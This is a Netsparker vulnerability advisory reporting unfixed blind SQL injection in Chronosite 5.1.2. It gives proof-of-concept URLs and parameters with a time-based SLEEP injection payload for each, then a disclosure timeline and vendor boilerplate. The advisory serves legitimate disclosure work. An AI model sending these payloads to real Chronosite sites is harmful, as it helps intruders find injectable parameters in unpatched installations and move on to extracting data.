Information
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Advisory by Netsparker
Name: Blind SQL Injection Vulnerability in Chronosite
Affected Software : Chronosite
Affected Versions: 5.1.2
Vendor Homepage : http://www.chronosite.org/ 
Vulnerability Type : Blind SQL Injection
Severity : Critical
Status : Not Fixed
Netsparker Advisory Reference : NS-17-028

Technical Details
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Proof of Concept URLs for Blind SQL Injection vulnerabilities in Chronosite;

Url /chronosite_512/forum.php
Parameter Name theme
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/index.php?numero=%27%2b((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2b%27
Parameter Name numero
Parameter Type GET
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/index.php
Parameter Name numero
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/livredor.php
Parameter Name kestion
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/livredor.php
Parameter Name cherche
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

For more information on SQL Injection vulnerabilities read the article SQL Injection.

Advisory Timeline
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02 Feb 2017 - Issue reported
12 Jun 2017 - Advisory released

Solution
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No solution available.

Credits & Authors
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These issues have been discovered by Enes Aslanbakan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.